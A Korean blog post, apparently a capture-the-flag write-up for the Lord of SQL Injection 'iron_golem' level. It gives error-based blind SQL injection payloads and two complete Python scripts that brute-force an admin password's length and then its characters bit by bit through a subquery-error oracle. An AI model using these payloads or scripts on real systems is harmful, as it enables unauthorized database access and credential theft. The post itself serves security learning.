기본적인 Blind SQL Injection 문제인 것 같아 보이지만 참값을 확인할 방법이 보이지 않는다. 이전 문제들에서는 'Hello admin 이라는 문자열을 출력시켜줌으로써 우리가 전달한 query문에 대한 참값을 알 수 있었다.
코드 line 8 을 보면 myslqi_error() 함수를 사용하고 있다. 이 함수는 query 문에 오류가 있을 시에 해당하는 오류를 출력시켜주는 함수이다. 이것을 이용하면 될 것 같다. 어떤 오류를 출력시키는지 한 번 살펴보자.
?pw='
위와 같은 query 문을 전달하였더니 아래와 같은 오류 메세지가 출력되었다.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
이런 syntax error 에서는 아무런 정보를 추출할 수 없다. 또 다른 query 문을 보내보자.
?pw=' or if(0,1,(select 1 union select 2))%23
Subquery returns more than 1 row
조건문이 참일 때는 1(TRUE)를 반환하지만 거짓일 때는 'select 1 union select 2' 를 전달함으로써 기존의 query 문인 'select id', 즉 id column 만 return 되야하는 점을 위반한다.
바로 이것을 이용하면 될 것 같다. pw의 길이부터 구하자.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
pw_length = 0
for i in range(0, 100):
payload = "?pw=' or id='admin' and if(length(pw)=" + str(i) + ",(select 1 union select 2),1)%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Subquery returns more than 1 row" in res.text:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
pw의 길이는 32다. 이제 방법을 알았으니 Brute Force 에 들어가자. 이번에도 bit-by-bit 작업으로 하자.
이번 코드에는 꽤 많은 공을 들였다. 각 글자의 비트수가 다르게 나와서 이를 가변적으로 처리해야 했었다.
그래도 성공했다. 비트 하나하나씩 비교하는 방법, 상당히 좋다.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Check Length of PW
pw_length = 0
for i in range(0, 100):
payload = "?pw=' or id='admin' and if(length(pw)=" +str(i) + ",(select 1 union select 2),1)%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Subquery returns more than 1 row" in res.text:
pw_length = i
print("Length of PW is [ %d ]\n" % i)
break
# Check Bit_Length of PW & Brute Force
pw_bit_length = 0
password_bit = ''
password = ''
for i in range(1, pw_length + 1):
for j in range(0, 10):
payload = "?pw=' or id='admin' and if(length(bin(ord(substr(pw," + str(i) + ",1))))=" + str(j) + ",(select 1 union select 2),1)%23"
res = session.get(url = org_url + payload, headers=header, verify=False)
if ("Subquery returns more than 1 row" in res.text) and (j != 1):
pw_bit_length = j
print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
for k in range(1, j + 1):
payload = "?pw=' or id='admin' and if(substr(bin(ord(substr(pw," + str(i) + ",1)))," + str(k) + ",1)=1,(select 1 union select 2),1)%23"
res = session.get(url = org_url + payload, headers = header, verify=False)
if "Subquery returns more than 1 row" in res.text:
password_bit += "1"
else:
password_bit += "0"
print(password_bit + "->" + chr(int(password_bit, 2)))
password += chr(int(password_bit, 2))
password_bit = ''
break
# Result
print("RESULT\n------------------")
print("\n\nPW --> %s\n" % password)
결과
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - hell_fire (0) | 2021.08.26 |
---|---|
Lord of SQL Injection - dark_eyes (0) | 2021.08.24 |
Lord of SQL Injection - dragon (0) | 2021.08.22 |
Lord of SQL Injection - xavis (0) | 2021.08.22 |
Lord of SQL Injection - nightmare (0) | 2021.08.22 |